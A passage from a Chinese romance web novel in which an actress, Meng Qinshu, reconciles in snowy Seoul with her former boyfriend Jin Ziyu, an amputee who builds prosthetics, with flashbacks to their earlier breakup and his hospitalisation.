孟秦书赶紧背过身去,长舒一口气,按下那颗跳的格外嚣张的心。
酒店通道很长,地面铺了蓝底白花的地毯,电梯间在最西边,快接近通道尽头,最西边墙上有一扇窗子。
外面天色是白的,她眼力很好,还能看到绒毛似得雪持续不断斜着往下飞,隐隐约约还可听见电梯开合声。
靳子煜不知道在干嘛,也没进一步动作,好像定住了一样。
但她是时候该走了。
“我走了。”孟秦书礼貌告知。
随后她举步往电梯方向走,只不过,孟秦书没走出几步,就被背后伸来的大手攥住她的小臂,这里没有别人只会是靳子煜,就是不知道他想要做什么。
24. 答案
“进来坐会儿。”靳子煜嗓音磁性低柔。
是很正常的说话语气,只是请她进去坐坐而已。
孟秦书回转身时,靳子煜松开这只手,听见孟秦书轻轻说了个“好。”
靳子煜迈步进入房间,卡片往墙上的卡槽一插,整个房间的灯都亮了。
酒店标间都是统一装修风格的,进门左手边是整面衣鞋柜,右手边是卫生间+浴室,往里是一张两米的大床,尽头是整面落地窗,窗前有一张三人小沙发和一张椭圆形茶几。
进门后孟秦书反手拉上门,他看到靳子煜在脱外套,注意到他手上没拿手杖,眼角往柜子一掀,见被他收成短短一截的手杖就放在上面。
挂好自己的外套,靳子煜侧身看她,孟秦书当即明白他的用意,加紧脱掉自己身上这件大衣,并交到他的手里。
挂完衣服,靳子煜一手扶着柜门弯下腰,从最底层的鞋柜里拿了一双一次性拖鞋放到孟秦书脚边。
而后他拿出自己要穿的那双,另只手握住鞋后跟,先脱掉左脚上的鞋,换上拖鞋,再抬起右脚轻拽鞋后跟,脱掉鞋子,放下右脚踩进右拖里。
孟秦书比他快两步完成,因此靳子煜脱右脚鞋子时的流程她都看在眼里,也看到了他穿着白袜子机器形状的脚掌和脚踝相连的骨骼。
他这种腿是要充电的吧?
如果没电了是不是腿就不可以走了?
孟秦书在想这两个问题。
好似有什么东西从她腿边擦过,愣愣片刻,孟秦书垂下眼皮,看到靳子煜以拿走她的鞋子并把它们放进了鞋柜里。
中央空调温度上升快,他们所站的位置又在下风口,孟秦书只觉脸上热气在流转,整张脸都在发热。
“小书,你进去坐会儿。”
说这句话时,靳子煜已走至电视柜,他拿起了上面的烧水壶,往回走时与往里走的孟秦书擦身而过。
孟秦书坐在沙发上盯着门那里,耳朵听着卫生间里的水龙头放水声,她脑海里出现刚才靳子煜不依靠手杖走的那几步,那步态和平时无异,想不到现在科技进步如此迅猛,是不是不需要多久他又能跑又能跳。
卫生间里水流声停了,靳子煜拿着水壶握把,从里面拐出来,没走几步就到了电视柜边,他把水壶放在加热坐上,按下烧水键,侧过身便迎上了孟秦书的目光,孟秦书澄清的眸子里出现小小一诧,有些不自然的垂下眉眼。
靳子煜嘴角出现浅浅的笑意纹路,“小书很神奇是不是?”孟秦书因他的话,重新抬眼,靳子煜在她注视之下慢慢走近她,“我以前也想不到,有一天我能脱离拐杖、手杖这种辅助工具,又如五年前我拿起手杖,我想不到五年后还能牵起小书的手。”
孟秦书在他说话声中站起来,靳子煜身上这件修身的黑色毛衣,勾勒出他清瘦而匀称的上半身,他不是宽肩,但在他的头身比中,他的肩线多一分则多,少一分则少,完美到宛如神之手笔。
他的话让孟秦书泪目,她眨眨湿润的眼睫,朝靳子煜张开双臂,喉头微哽,“能抱你吗?”
靳子煜已到她面前,神情柔软的就好像把她当成一个孩子来哄,点点头,说了个好字。
女孩动作极轻的扎入他怀里,双臂在他腰间收紧,她的下颚垫在他的肩窝里,呼出的温热鼻息扑在他的右耳廓上。
和那个晚上很像,那晚他其实舍不得推开她,但他恨....恨她没想好又来招惹他,恨她身边有体贴入微照顾她的男人。
其实.....
与其说恨她不如说恨自己,没有一副好身体,他把这股恨用伤人的话宣泄出口,他说“孟秦书不要在出现在我面前。”
那晚看她不是人样的脸色,佝偻下去的腰背,他生出一种扳回一局的痛快。
可回到国内,回回上课,看到那个空着的位置,他心里又翻腾起后悔,她既然愿意当他的情绪出口,那就让她当自己的情绪垃圾桶,他无比后悔不该把话说得这么绝。
那天她出现他是惊喜的,但他还要佯装出对她爱答不理的样子,是因为几次三番后他笃信,孟秦书还会再来,他就是这么卑劣一个人。
*
外面的雪比来时下得还要大,一团团一簇簇,四野的大楼、店铺、路上的车辆在风雪中变得模糊不清,目光所及处,皆是银装素裹,在海城就很少见到这样的大雪。
江南的雪仿佛是只开一夜的昙花,来得静、走得快。
一杯热水放在茶几上,孟秦书回头,玻璃杯上升腾起缭绕的热气,她盯了两三秒,再看重坐回床沿的靳子煜。
两人面对面,靳子煜避嫌似得坐的离她老远,明明刚刚抱都抱过了。
“小书,这七年你过得开心吗?”
孟秦书算不得口齿伶俐,但自进入这间房后,每个话题都是由靳子煜在起头,从工作、到闲暇时光的兴趣爱好,再到日常生活。
倒也不难解释,好比如一个人去别人家多少会有些拘谨。
孟秦书恬淡一笑,“子煜,那要看怎么去度量开不开心,比方说我认为活着就是开心。”
靳子煜懂了似得轻点头,搭在床边的双手,十指轻轻蜷曲。
“其实是你教会我的,子煜。”靳子煜神色微愕,痴痴地望着她,孟秦书用平淡的语气,讲述给他听,“二十岁前的孟秦书不与人交善、不相信任何人,只知自顾自怜,为了掩盖自卑、怯懦、敏感,她会把自己包装成孤傲清高,她偶尔还会厌世,觉得这世界对她一点都不善良。”
靳子煜是个一有悲伤、激动、感动、愤怒,此类情绪就会当即被人看出来的人,他泛红的眼尾藏不住。
正如现在,他眼尾又红了。
“后来她遇到了一个叫靳子煜的男生,男生乐观、温暖、自信,他的身体里好像住了一个太阳,这让一直生活在阴潮房间里的她,忍不住想去接近他,再后来他们真的在一起了,真正接触后,她才发现他的生活中有很多不容易,但他从不抱怨环境、更不会妄自菲薄,“靳子煜是个残疾人,但不只是个残疾人”这是他对她说的话,久而久之,她被他感染,原来,心若向阳,逆境也能重生,活着就能感到快乐。”
孟秦书绕开茶几,走到靳子煜面前,半蹲下来,侧目看到他用力抓着床沿的右手,下意识的动作可能他自己都没察觉,孟秦书把自己的左手轻柔地盖他手背上,他怔了怔,孟秦书在把这只手,拉来包裹在自己两掌之间。
孟秦书仰头看到他泪光隐闪的双眼,“子煜,你知不知道你现在有多优秀,优秀到让我自卑,你有学识有能力,而我走了和从前背道而驰的道路。”
靳子煜的唇在抖,一时找不到合适的话语接下去,而孟秦书忽地低下头,开始摆弄他一根根手指。
他的双手葱白细长,精美的像艺术品,但因十多年握拐杖,他的右手掌心以及每根手指内侧关节附近
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,都有一层硬凸的厚茧,孟秦书把他的手翻过来,那层茧仍旧存在。
孟秦书停顿的那一下,靳子煜知道她在想什么,他淡声开口,“平时在家还是会用拐杖。”她朝他撩了撩眼皮,靳子煜再说:“医生不建议我单腿跳着走,对腰椎、脊椎、尾椎都有一定损伤。”
靳子煜以前单腿跳很厉害,他平衡能力很好,曾经常参加校运会的跳高项目,最佳成绩可以跳到一米六,比很多正常人都强。
距今有八年多了,正是他们交往的第三年,靳子煜摔一跤后,他的腰椎就出了问题,那时候医生已经建议他以后用一副拐杖,是为了将身体的重量分散到两个支撑点上,减少单点压力,为这事靳子煜当时郁闷好久,因为用双拐他就不能做任何和体育相关的项目,包括他最爱的篮球。
孟秦书眼睫一直在颤,泪水簌簌落下来,也正是那年,靳子煜第二次腰椎手术结束第二个月,她去和他提了分手。
她的泪珠一颗接一颗的滴在靳子煜右腿上的,他那里是假肢,是不会有感觉的。
深吸口气咽回去汹涌的泪意,缓了片刻,孟秦书说:“我去给你买拐杖。”
孟秦书支起左腿要起身,靳子煜的手不知什么时候从她手里拔出的,他用这只手,轻而易举的握住她的双手,他温声对她说,“偶尔跳一下没大事。”
靳子煜往上轻拉孟秦书的手,示意她起来坐他旁边,孟秦书依从他,坐到他的右手边。
一起侧过来,面对面。
两人都是红了眼圈,一个眼周微湿,一个泪珠已滚出眼眶,一颗泪落进纱布里,一颗泪顺着脸颊淌下,在到唇畔时,靳子煜用他的食指把这颗泪截停。
靳子煜低声道:“小书,孟媛来找我说起了一件事。”
他的眼里盛着她。
孟秦书愕住,半张唇,唇瓣微微颤着。
出国前一晚,她曾发信息让孟媛不要把当年的事情告诉靳子煜,孟媛违背了她们的约定,她到底透露了多少给他?
孟秦书阖住唇,不说话等靳子煜说下去。
“小书,孟媛说孟家七年前破产了。”他等了等,问出昨天到今天一直想知道的问题,“小书你是不是因为.....家里破产,才和我提的分手?”
孟秦书眼中再次起了雾气,密黑的睫羽扇了扇,她用食指指腹封住他的嘴唇,想让他听她说,“子煜,你今天能来,说明你心里已有决断,你在继续恨我与继续爱我之间,你选择了后者。”
她无声地哽咽着,断断接着道:“子煜我们忘却那些不开心的事,重新开始好不好,我会爱你的,我们会有银婚,会有金婚还会有钻石婚。”
会永永远远在一起。
那年,他们依偎在一起看完《父母爱情》然后畅聊人生,靳子煜放下手机把百度出来的词条信息复述给她听,“小书,银婚是二十五年,金婚是五十年,钻石婚是六十年,银婚、金婚我们能轮得到,钻石婚有点难度,假设说我们二十八岁结婚,都得到八十八岁,但争取吧。”
“子煜我有办法。”孟秦书勾住他的脖子拉过来,贴住他耳朵说:“等我大四毕业去领证。”
靳子煜半张脸瞬间被她呼出的热气烫红。
一双手从孟秦书两侧双肩过去,环住她,把她压入怀里,她的下颚安置在他的颈窝,自然淡雅的薄荷气息将她环绕。
不是过去,而是现在,是他给她的回答。
25. 被分手
孟秦书不是个有耐性的人。
比如说,靳子煜第一次拉黑她,她但凡第二天给他在发一条信息就会发现他已经把她从黑名单里拉出来了。
靳子煜拉黑她,纯粹是不想收她的钱,而不是因为分手而记恨。
反而是孟秦书自己,想和靳子煜谈恋爱又害怕父母发现,这场为期一周的恋爱还没开始就被她自己结束了。,
可没过多久她又去招惹靳子煜。
又比如说。
孟秦书买了礼物准备去海城找靳子煜的那个前夕。
那晚宿舍只有她一人,她正前方的笔记本电脑正在播放最新的古装剧,是室友尤娜强烈推荐她看得。
手机在桌上震了一下,她拿起看,屏幕上信息栏跳出的是靳子煜发给她的信息。
因为仅有几个字,信息栏上很详尽。
淡述【我们分手吧。】
孟秦书只愣了一下,脑子里过了一遍后忽觉得好笑,她把手机放回桌上,合起电脑,拿了睡衣去卫生间洗澡。
洗完澡出来,两位室友也回来了,尤娜手里有薯片拿了一块递给她,孟秦书一个幽冷的眼神就把尤娜的手吓得缩了回去。
孟秦书拿着手机爬到上床,这次她点进了和靳子煜的聊天界面。
淡述【我们分手吧。】
刺目,刺的她眼眶疼。
靳子煜在海城读研已有半年,他们每天都有信息问候,早中晚三条问候信息雷打不动,孟秦书社交几乎没有,有时候去外面参加比赛或者公演会给他发几张照片,靳子煜读研后很忙,用他的话说他刚接触这个专业,需要比别人更费心些,但偶尔也会给她拍几张校园风景。
靳子煜读研后,她一个月基本上两次到三次去海城,有时是靳子煜开车来接她,有时是她坐长途车过去,还有时是家里的司机来接她回家,她会顺道跑靳子煜那边见他,为了方便见面,靳子煜选择不住校而在外面租房。
都说异地恋分手率高达百分之九十,看来不假,孟秦书越看那五个黑体字越觉得可笑,半年前她带靳子煜去见父母,为了和他在一起,她违抗父母,结果——她又成为被抛下的那个。
注定没人会爱她。
不知什么时候睡着的,孟秦书醒来眼前依然是漆黑,她摸到手边的手机拿起来点亮屏幕一看才凌晨一点。
脸颊一片黏腻的潮湿,她在睡梦中哭了。
孟秦书眯着眼编辑了一个字给靳子煜发过去。
MQS【好】
她被靳子煜甩了,她竟被靳子煜甩了。
孟秦书越想越气不过,她打开校论坛,在校论坛里发了一条名为《我甩了靳子煜》的帖子。
—孟秦书以于十二月二十四日和靳子煜分手。
发完帖子她把手机往床尾一丢,盖上被子蒙头睡了。
孟秦书这条帖子热度炸了,不到第二天已传的人尽皆知,早起时,尤娜和另名室友用一种想问又不敢问的眼神看着她,连在凤凰校区的霍清辞都知道了这件事。
“小书,你和靳子煜吵架了?”霍清辞电话里问她。
“分手了。”
孟秦书抓了一把头发,昨天她半夜醒来头脑一昏发的这个帖子,她这会儿也有点后悔。
“小书是不是有什么误会,我帮你去问问他?”
孟秦书火了,冲他吼,“你能不能别管我!!”
那头没了声音,孟秦书想到就是因为异地才会导致这种结果,而造成异地是霍清辞自作主张去帮靳子煜。
气头上的她口不择言,“霍清辞你是故意的对不对,你就是见不得我好,对不对?你凭什么自作主张把他骗到海城,霍清辞你耍我一次还不够,连我现在谈恋爱你都要干涉,你混蛋,你们都是混蛋!”
孟秦书掐断电话,一瞥眼,床下两位室友正昂头又惊又怕地看着她。
两月前,孟秦书去海城大学找靳子煜,远远的,她看到靳子煜和一位老师面相的老人站在一楼平台上聊天,她没跑过去而是在不远处的桐树下等他们聊完。
但她越看这位老人越是眼熟。
大脑中随之浮现十岁前霍清辞经常带她去他外公家,他外公是国内第一批科学家,名声显赫。
常常有学生来拜访他,那些学生基本上都在花甲,其中有位学生最常来,他一来就坐半天,霍清辞每次见他都尊称一声黄院士。
而她也跟着一块叫他“黄院士。”
黄院士,孟秦书想起来了,还想起靳子煜说起他一个没有任何该专业知识的学生会被大名鼎鼎的黄鹏教授看中,两者一串连,显而易见是霍清辞在幕后操作。
中午霍清辞到女生宿舍外给她打电话,过了一个上午,孟秦书一肚子气已消下去一半,理智回笼的她,知道自己早上说话过分,无地自容地走出来。
两人走去停车场,一路无话。
“带你去找靳子煜。”坐进车里霍清辞说了这句话。
一听是去见靳子煜,孟秦书扭身去解安全带,被霍清辞横过来的手摁住安全带卡扣。
“小书,难道你不想弄清楚到底为什么?”
孟秦书一点都不想知道为什么,被抛弃就是被抛弃了,她抗拒地去掰霍清辞的手指,掰不动,她无力地往后撞靠在座椅靠背上,目光呆滞地望着车窗外面。
“小书,他在海城第一人民医院。”
孟秦书一下挺起来,扭脸凝肃地问霍清辞,“他为什么会在医院?”
“小书,想知道什么自己去问他,我只负责送你过去。”霍清辞双手握住方向盘,平视前面那片被微风吹起涟漪的湖泊,而他的声音像被吹到了天上,飘渺不真实,“不是所有人都和我一样。”
四个半小时的长途,他们在下午五点前赶到海城第一人民医院。
霍清辞只把病房号告诉她,没跟她上去。
孟秦书坐电梯到十二楼,按着墙上的病房号,寻找霍清辞报给她的那间,终于在走廊尽头倒数第二间找到。
门关着她从门框上嵌入的窗玻璃往里望,里面有两张病床,最里面靠阳台那张她看到了平躺在病床上的靳子煜。
里面有一堵横出来的墙,挡住了半张床,从她这个角度是看不到靳子煜脸的,但他右腿被面凹下去一截让她确认无误是他。
孟秦书推开门,听到开门声的靳子煜叫了一声,“妈。”
孟秦书止步。
“妈,有没有看到我的手机?”
靳子煜在找手机会不会还没看到她给他发的这条信息。
床铺动了一下,孟秦书直接走出来,走到靳子煜床尾。
她的突然到来,对于没有任何心理准备的靳子煜来说,无疑是和见了鬼一样。
身体僵住,脸色一片煞白。
靳子煜现在的姿势是双小臂撑起上半身,身体侧着,面朝那堵大白墙,但因她在他床尾,他看她需要扭动脖子。
“你怎么住院了?”
她的问题,让靳子煜眼眶里顿时闪动泪光。
孟秦书觉得哪里不对又说不上来,她走到他面前,靳子煜含泪的双眸跟住她回到正前方,他低低地说了一声,“对不起。”
靳子煜的“对不起”让孟秦书眼中泪意翻滚,她盯住他的
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下半身,内心以有答案呼之欲出,“对不起不该和我分手,还是对不起不该骗我?”
“我……我。”靳子煜垂下眼皮,眼珠不安地在眼皮里转动,“我怕耽误你。”
孟秦书气笑了,眼角笑出泪,“靳子煜,你是不是觉得自己很伟大。”
这时门口有动静,孟秦书听见开门声,犹豫几秒转身看到了靳子煜的母亲。
孟秦书见过靳子煜母亲数不清多少次了,都是在靳子煜家里,他母亲是个面相就很温柔的女人。
第一次见还挺尴尬的,那天她穿着靳子煜的T恤,躺在他家沙发看电视等靳子煜回来,门锁动时她以为是靳子煜,听到脚步声她还说了句,“子煜,我晚上想吃你做的红烧鱼,等会儿我跟你一块去超市。”
一回头,看到是张陌生的女人脸,孟秦书吓得差点从沙发上翻下来。
他母亲也是一脸惊愕,但到底是经历过的人,马上端正脸色问道:“你是子煜女朋友?”
孟秦书从沙发上下来,T恤刚好遮住她的臀部,关键是她里面穿的只是条内裤,她扯了扯下摆,慢几拍的她也反应过来,这位长得和靳子煜四五分像的美丽女人是他的母亲。
而刚好这时候靳子煜也推门而入,孟秦书尴尬、窘迫地想原地去世,她一手捂住脸,一手扯下摆,冲进房间。
穿戴整齐的孟秦书再次出来,看到靳子煜坐在客厅,她四处瞄,没看到他母亲。
“你妈妈回去了?”
“我妈说你想吃红烧鱼,她给你去买。”
孟秦书疾走到靳子煜身前,弯下腰疯狂摇晃他肩膀,用杀人的语气说,“靳子煜,你不是说你妈妈不会回来的吗?”
“小书,你住这里都半年了,她第一次来,她真的很少来。”靳子煜揽住她的腰,把她拉下来坐他右手边,他凑近她耳朵,跟她耳语,“小书,我妈说,小姑娘真的好漂亮,让我一定要好好对待你,不能欺负你。”
哼,男人的嘴骗人的鬼,靳子煜也不例外。
往后每到周日,晚餐那一顿,他母亲就过来给他们做饭,她做的饭很好吃,有好几道拿手菜,她说话温温柔柔的,没有丁点长辈高高在上的感觉。
后来熟络后,孟秦书会在她炒菜时,跑进去帮她打下手,他母亲起初什么都不让她干,后来听她说也想学点手艺就耐心手把手地教她。
带着刺骨寒意的风从拉开一条缝的窗户里吹进来,孟秦书被冻得一激灵,蓦地回神。
“小书,医生说,手术成功率和失败率一半一半,子煜前几天心态还是挺好的,我看他经常给你发信息都挺开心,但昨天……昨天我去超市买些生活用品,他想去上卫生间,觉得自己可以搞定,他拉来轮椅,想把自己从床上转移到轮椅上,可转移途中,轮椅往后退,他一下从床上摔了下来。”
风往她脖子里灌,孟秦书冷得身体打抖他母亲凝着她的眼,“等我回来时,他靠在墙边,地上……”她闭了闭眼,是一个母亲对孩子的心疼,“我回来的太晚了,地上是他没憋住的尿液。”
孟秦书心脏一颤,往后退了半步。
听完靳子煜母亲的话,孟秦书回到病房,靳子煜靠着枕头,朝着她微笑。
孟秦书走到床侧,坐他手边,拉起他的右手,让他感受自己掌心的温度,“靳子煜以前我甩你一次,现在你甩我一次,扯平了。”
“小书,如果我再也站不起来—”
孟秦书用手掌心堵住他接下去的话,“靳子煜是残疾人但不只是残疾人你说得,况且手术还没做,百分之五十的机会不少了,我相信靳子煜一定会站起来的。”
26. 好好工作
孟秦书收到霍清辞发来的信息。
霍清辞【你嫂子喊我回去,我先回国了,手术提前和我说,我会过来,不要隐瞒知道吗?】
孟秦书回来个OK手势加知道了三个字。
“子煜你中午想吃什么?”孟秦书问站到一旁,刚通完电话的靳子煜。
靳子煜走回来,“小书,你决定,对了,叫上霍清辞,这顿饭我请。”
“他刚给我发信息,嫂子叫他回去,他已经离开了。”孟秦书侧仰头看一只手虚搭在沙发扶手上的靳子煜,“我们去吃吧。”
靳子煜略有诧异但还是唔了声,孟秦书起身绕开沙发扶手到他身侧,张开手再抱他一次,还用额头在他冒出一点青色胡渣的下巴上蹭了蹭。
“楼下有中餐,我们去吃中餐吧。”孟秦书仰视他长睫掩映下那双黑润润的眼眸。
来韩国旅游的中国人很多,中国人是韩国旅游经济里的主体,所以在这里中餐厅并不少见。
靳子煜点头表示赞同,孟秦书放开双手让他走,她则跟在靳子煜后头,配合他的走速走向门口。
靳子煜手扶衣柜在换鞋,孟秦书等他的同时对他说,“子煜你既然可以不用手杖,待会我们下楼我挽你右手不也可以?”
换好左脚鞋,靳子煜仰看她一眼,右脚从拖鞋里退出来,脚尖放进鞋洞中,他再往下弯点腰,一边穿鞋一边回答孟秦书这个问题。
“那样你会脱不开手,不用手杖遇到不平整的地我会控制不好身体重心,如果出现意外,比方说被人撞了一下,我稳不住会摔倒。”
靳子煜语气平平常常如同他平时给学生上课讲课本知识。
换好鞋子靳子煜拿起柜台上的手杖,退后两步给孟秦书让道,孟秦书弯腰拿出穿来的短筒皮靴,她速度快,十秒内搞定。
孟秦书取下衣架上靳子煜的外套,转递给他,靳子煜接过去,孟秦书再拿下自己那件,穿上身,因为在室内,她没扣扣子,一回头靳子煜也已经穿好。
助理小杨在大堂等孟秦书,小杨一抬眼,看到孟秦书和一个拄着手杖,腿脚不便、长相又极帅气的男人,手挽手自电梯间走出来。
孟秦书个子很高,在娱乐圈女性演艺人员里屈指可数,正因为个高,配的上她身高的男演员不多,有不少男演员为了和她搭戏需要踩一个凳子,制造适配度。
而孟秦书和这个男人走在一块,刚刚好到他的耳下位置,男人大衣挺括,执一根手杖,就好像是新世纪的英伦绅士,两人适配度百分百。
上次让她觉得和孟秦书般配的是那位霍少,两人走一块就是一对气场全开的豪门夫妇,但不及这位,因为她在孟秦书脸上看到了只有看爱人才有的思慕和蜜意。
小杨赶在孟秦书走上来前,拍拍脸颊,回正表情。
是孟秦书叫小杨下来的,她没打算避开小杨,认识小杨四年,对这个助理她也有了一定了解,相信她定能守口如瓶。
孟秦书到小杨面前,心情很好的道:“小杨,这段时间你三餐想吃什么就去吃,把票据留好,回去我给你报销。”
小杨喜不自胜,“谢谢,南寒姐。”
眼角余光不经意带到那男人脸上,那男人似注意上了她,朝她微微一笑,小杨对美男没有抵抗力,脸蛋刷的热了,脑袋瓜还有点晕乎乎。
小杨步行到酒店门口,进入旋转门中,即将步出旋转门时,她猛然想起这个男人是她曾经在孟秦书手机里看到过的那个。
尽管外观、气质上有了很大变化,但细细甄别眉眼几乎没变,只不过照片中是清秀俊美的阳光少年,眼前的这位儒雅温文的成熟男士。
旋转门扫过来,小杨差点被打到脸,她赶紧跑出去,临走前小杨忍不住从玻璃门里再往里偷觑一眼,他们正步入斜前方的中餐厅里。
餐厅里的服务员热情的接待了他们,高档的餐厅里服务员都会英语,但即使不会也不用怕,靳子煜会韩语。
两人落座靠窗的那张长方形四人桌,服务员上前来送上菜单本、撤掉桌上多余的两套餐具。
餐厅里比酒店大堂温度高,两人一起脱了外套,巡场的服务员上来,在询问口袋里是否有贵重物品,得到他们否定的回答后,服务员带走了他们的外套。
孟秦书发现菜单上有韩语和中文,暂时用不上身边这位翻译了,她用英语和服务员报了两道菜名,再把菜单推给靳子煜,靳子煜拿起翻了几页,选了两道菜。
靳子煜对服务员说:“Donotaddscallions”
孟秦书听明白了,脸上流露出一丝安慰和羞涩,但服务员没听懂最后那个词,一脸迷茫。
毕竟有这种要求的不多见。
靳子煜微笑着再用韩语把请求重新说了一遍。
服务员一走,孟秦书莞尔一笑,“子煜,你还记得我不吃葱花。”
靳子煜回以笑脸,颇有点无奈的意味,“小书,我没失忆。”
外面在下雪,里面暖融融,但坐到这里之后,两人之间好不容易攒来的亲密关系,又降至半生不熟的地步。
孟秦书主动找话题尬聊,“子煜,你还和那位韩国同学联系吗?”
靳子煜盯着桌上的手机,时不时划一下似乎在看群消息,孟秦书等了会儿,才听到靳子煜回,“他回国了,有两三年没联系过。”
看靳子煜很忙,孟秦书默默拿起桌上的手机,点进天气预报APP查看明天首尔这边的天气。
显示是大雪,如果还是像今天这么大的雪,机场航班会停飞吗?
停飞的话,靳子煜行李箱都没带,他换洗的衣服都没有,以及他的假肢需要充电吧,带充电器来了吗?
孟秦书托着腮,已经在为靳子煜操心。
“子煜,你的假肢充一次电续航是多久?”
靳子煜的眼睛自手机上移开,转移到她脸上:“它是按步数计算,充满一次电能走大概一万步,但如果想充电也很方便,有一根和手机充电线差不多的连接头,我带过来了,在我口袋里。”
“是你自己研制的?”
“是我们整个团队,怎么了?”
服务员端来一盘酸汤鱼放到桌子正中间,光闻着那酸酸的味道孟秦书就有点想吃。
“没什么,只是好奇。”孟秦书放下托腮的手,拿起筷架上的筷子,夹起一片鱼肉,放进靳子煜面前的小碗里。
孟秦书低头吃菜那一下,一缕头
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发掉下来,她勾起这缕头发别在耳朵后,可一低头又掉落一缕,她起身拔腿去找卫生间。
在服务员的指引下孟秦书找到了卫生间,她站在洗手台前面的大镜子前,拔出左手腕上的黑色皮筋,拢起头发,另只手用皮筋捆,交替转了三圈,把它绑成了一个松松的马尾挂在肩上。
凑近镜子,孟秦书看到自己的眼眶微微泛红,她真的受不了一丁点靳子煜对她的冷淡。
以前都是靳子煜主动找她聊天,对她体贴细微,更不会出现一边看手机一边和她聊天的情形,于孟秦书而言,心里落差太大。
收拾下心情,孟秦书重回餐桌,才出去了不到五分钟,桌上已经上了三个菜,桌上热气腾腾,两人隔着氤氲的雾气对望一眼,孟秦书把桌上的手机放回口袋,重新拿起筷子,看准斜角的那盘清炒四季豆,正要去夹,她手边的小碗里多了两片鱼肉。
孟秦书侧眸看去,看到靳子煜收回去的右手。
心里那点不开心,立时消失殆尽,一股暖流在心间流动。
她就是这么一个情绪多变的人。
*
吃过中饭,两人分开,各自回各自的房间。
孟秦书吃完医院开的药,靠在床上给芳姐发去信息。
MQS【芳姐,有什么年后的本子,发到我邮箱,我看看。】
靳子煜这么优秀,她不能太落后,从今往后她一定要好好工作。
芳姐很快回过来,她发的是一条长达五十秒的语音。
芳姐:我是确认了再确认,才敢相信是南寒大小姐发来的信息,这是怎么了,是怕脸毁了,以后没戏拍了?你不有扬正集团太子爷那座大靠山吗?我发现想改变一个人只需要小小的一件事,看来毁容不是坏事,大小姐你放心,芳姐这里别的不多,本子最多,下午我看我有空的话,挑个几本适合你的,给你发过来。
MQS【谢谢芳姐。】
半分钟后又是一条五十秒的语音。
芳姐:南寒啊,你才二十九岁,女明星的花期虽没男明星长但也可以到三十五岁,还有六年,这六年中,我们偶像剧和正剧按三比一的比例去拍,人气口碑两不误,四年后我们慢慢走正剧路线外加电影,你只要听我的,我保准你能长红。
MQS【感谢芳姐的谆谆教诲。】
再确定芳姐不回信息后,孟秦书把手机往床头柜上一放,这几天她脸疼,晚上一直睡不好,下午她要补个觉,晚上好打起精神和靳子煜共进晚餐。
孟秦书已躺下,刚盖好被子,手机又震了几震。
她从被窝里伸出手臂,拿来手机,举在脸上方。
又是芳姐的长篇大论。
芳姐:南寒明天《大梦想》的见面会开始了,为期五天,这部电视也会在明晚八点上星开播,届时你的热度一定会攀升,讨论度最高的一定是南寒去哪里了,近期除了医院,不要去任何地方,知不知道,韩国虽说是国外,但它是国人旅游选择大热门,很容易碰到一个国家的人,万一你受伤的照片传到网络上,引起不好的反响,导致作品产生损失,你作为主演是会被追责的。
孟秦书懒得打字,也回了语音。
MQS:我知道了。
27. 好人好事
‘生科矫形器材有限公司’位于科技创业园内三栋,上下两层四千平方,都属于该公司。
一位三十出头,肤色晒得黢黑的外卖员开着电瓶车自创业园东门开过来,他沿着主路一路往西开,开个大约三分钟到了这家公司的正大门。
由于点的咖啡有三十杯,外卖员是问店内服务员借的泡沫箱装过来的,他们最讨厌的就是这种单子,数量多,赚么只赚个五六块钱。
一辆宝蓝色保时捷开过来,保时捷在外卖员面前,倒车入库,驾驶员驾驶技术娴熟,不到一分钟就挺好了。
外卖员盯着这辆车侧面,想着这些有钱人,不把底层人士当人,当牛马,他叹口气,放下脚撑,弯腰去抱装满咖啡的泡沫箱。
第一次没抱起来,险些把自己的老腰给闪了,“砰”一声关门声,外卖员余光中出现一个子特别高的男士,没顾及细看,外卖员歇口气又要动手。
却听见这名男士在旁出声。
“你别搬了,我叫人来。”
从没在一个男人身上听出温柔口音的外卖员不禁直起腰去看这个男人。
这个男人比一米七不到的他高了两个头,穿灰色长款大衣,黑色长裤,裸露在外面的皮肤干净细白,像不带任何杂质的白玉。
男人正在拨打电话,那张脸也是形容不出的俊,是他外卖生涯至今见过的最好看的男人,即使声音温柔也一点不显得娘,外卖员语言匮乏无法描述,总而言之,就像电影里走出来的男演员。
外卖员静等他打完电话。
男人结束通话,垂眼看他,抱歉说,“我考虑不周,麻烦你打开你的收钱码,我给你转些钱。”
听到给他转钱,外卖员自是不客气,他们就是出来赚钱的,谁会和钱过不去。
男人从自己的手机上找到扫一扫,对着他提供的收款码,一扫进入转账页面,输入密码后把钱转给了他。
外卖员看着屏幕上到账的五百元,惊喜不已,不愧是开保时捷的有钱人,真的大方。
今天是周六,公司里只有两个部门在加班,靳子煜前脚下飞机,后脚电话联系了顾远,问他要了今天在公司工作的员工总人数,他要请大家喝咖啡。
两位老板经常请大家喝奶茶、喝咖啡不是什么稀奇事情,公司的工作氛围一直都很好,大家相处都和朋友一样。
靳子煜一个电话,公司里出来两个年轻小伙,两小伙看到电瓶车上的泡沫箱,一人搬一头,把泡沫箱给搬了下来,两人合力搬进公司。
外卖员去追他们。
靳子煜不知道外卖员追过去做什么,扭头看过去。
抬咖啡的两小伙已进公司,外卖员还差两级台阶登上平台,只是他的步态走的乱七八糟、歪歪扭扭,靳子煜自己残疾,还是专业研制假肢的,一眼就看出这位外卖员两条腿都有问题。
靳子煜拄着手杖往前走,他走的慢还没踏上台阶,那位外卖员已经跑进了公司。
前台小丽在和外卖员解释,分发完咖啡,泡沫箱会还给他,请他先等几分钟,小丽抿了一口咖啡,眼皮上掀,看到靳子煜出现在门口,她放下手里的咖啡,叫了声,“靳总。”
外卖员侧身看到刚给他转账的这位男士,到这会儿才注意到他手里拿了一根手杖,男士正在往里走,很像是走向他,男士的腿好像也有问题,不是跛行,走得比常人慢,有可能是腿受伤了。
男士真的走到了他的面前,只是外卖员没想到这个衣冠楚楚的男士,会问他特别没礼貌甚至是侮辱人的问题。
“你的两条小腿是截肢了吗?”
外卖员眼神防备警惕,“你什么意思?”
拿走泡沫箱的小伙子,分发完咖啡,提着这只泡沫箱从部门办公区走出来。
小伙子把这只泡沫箱送到外卖员手里,外卖员拿了就要走,被靳子煜叫住。
“等等!我可以帮助你,你现在穿戴的假肢并不适用你的残肢,才会让你行走困难,你是小腿截肢,穿戴上合适的假肢可以和健全人一样行走,不会再出现你目前这种情况。”靳子煜一口气说完,是为了说服这位外卖员。
外卖员扭过身来,觉得这个人很滑稽,他当然知道穿戴好的假肢会更贴近健全人,有条件谁不想要好的,这些有钱人真的是站着说话不腰疼。
